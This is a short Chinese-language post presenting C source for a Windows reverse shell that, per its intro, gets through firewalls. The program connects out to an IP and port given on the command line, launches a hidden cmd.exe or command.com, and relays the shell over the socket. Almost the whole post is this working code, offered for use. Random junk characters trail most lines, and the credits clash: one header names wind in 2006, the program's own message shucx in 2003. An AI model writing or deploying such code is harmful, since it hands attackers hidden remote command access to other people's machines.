Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 !~5;Jb>s[/  
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/* ============================== rZ<n0w  
Rebound port in Windows NT .>z)6S_G  
By wind,2006/7 n"YY:Gm;8  
===============================*/ 9-)D"ZhLe  
#include ]k~k6#),;  
#include GtcY){7  
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#pragma comment(lib,"wsock32.lib")  9?c0cwP?  
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void OutputShell(); _[|~(lDJl  
SOCKET sClient; -V@vY42  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vZj:\geV  
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void main(int argc,char **argv) (S/f!Dk&3  
{ ,f0|eu>  
WSADATA stWsaData; L\d"|87lX  
int nRet; (`+%K_  
SOCKADDR_IN stSaiClient,stSaiServer; II$B"-  
{@K>oaZ  
if(argc != 3) ZuIr=`"j  
{ Vae}:8'}  
printf("Useage:\n\rRebound DestIP DestPort\n"); Pg[XIfBva  
return; ZdbZ^DUR<(  
} 5B3S]@%  
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WSAStartup(MAKEWORD(2,2),&stWsaData); _[ml<HW]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^_FB .y%  
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stSaiClient.sin_family = AF_INET; s=0z%~H  
stSaiClient.sin_port = htons(0); -*8|J;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Z5f5q  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4/Ub%t-
 
{ -a:+ h\K  
printf("Bind Socket Failed!\n"); o HqBNTyH  
return; EA.4m3  
} LE^kN<qMK  
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stSaiServer.sin_family = AF_INET; ,B|~V 3)(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7x8/Vz@\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oujg( ^E  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)  ismx evD  
{ E^kB|; Ki  
printf("Connect Error!"); \"!Fw)wj  
return; vmW >$P  
} yV
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OutputShell(); IC&>PwXb  
} O_%X>Q9  
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void OutputShell() &''lOS|  
{ 3^m0 k E
 
char szBuff[1024]; Pf`HF|NI  
SECURITY_ATTRIBUTES stSecurityAttributes; o6LeC*  
OSVERSIONINFO stOsversionInfo; w|$i<OIi)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
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STARTUPINFO stStartupInfo; f' |JLhs  
char *szShell; TEQs\d  
PROCESS_INFORMATION stProcessInformation; O$dz=)  
unsigned long lBytesRead; VF8pH<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tkT:5O6  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); mx`QBJ  
stSecurityAttributes.lpSecurityDescriptor = 0; gaFOm9y.e  
stSecurityAttributes.bInheritHandle = TRUE; ?N
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); | Q0Wv8/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qffVF|7  
fmqHWu*wG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); CK4C:`YG  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TmI~P+5w  
stStartupInfo.wShowWindow = SW_HIDE; \F`%vZrKR  
stStartupInfo.hStdInput = hReadPipe; VK>ZH^-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; QD6<sw@]P  
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GetVersionEx(&stOsversionInfo); Zb> UY8  
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switch(stOsversionInfo.dwPlatformId) S\$=b_.  
{ x-0O3IIE  
case 1: tf1iRXf8  
szShell = "command.com"; 4:1URhE  
break; WC2sRv4]3  
default: D^]g`V*N  
szShell = "cmd.exe"; .|ZO2MCd  
break; IRWVoCc9/\  
} p7H0|>  
Sv&_LZ-"P  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ife/:v  
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send(sClient,szMsg,77,0); 6ZvGD}/  
while(1) o$PY0~#  
{ |HT5G=dw
 
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6uNWL `v  
if(lBytesRead) ]7+9>V  
{ SSCyq#dl$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c, IAz  
send(sClient,szBuff,lBytesRead,0); @\ udaZc  
} X*'i1)_h  
else 10?+6*d  
{ Whd.AaD\  
lBytesRead=recv(sClient,szBuff,1024,0); JU>F&g/|  
if(lBytesRead<=0) break; 'YFy6rds  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +!"GYPUXy  
} 0oT~6BGm  
} a!?JVhD&  
8.`*O  
return; },eV?eGj  
}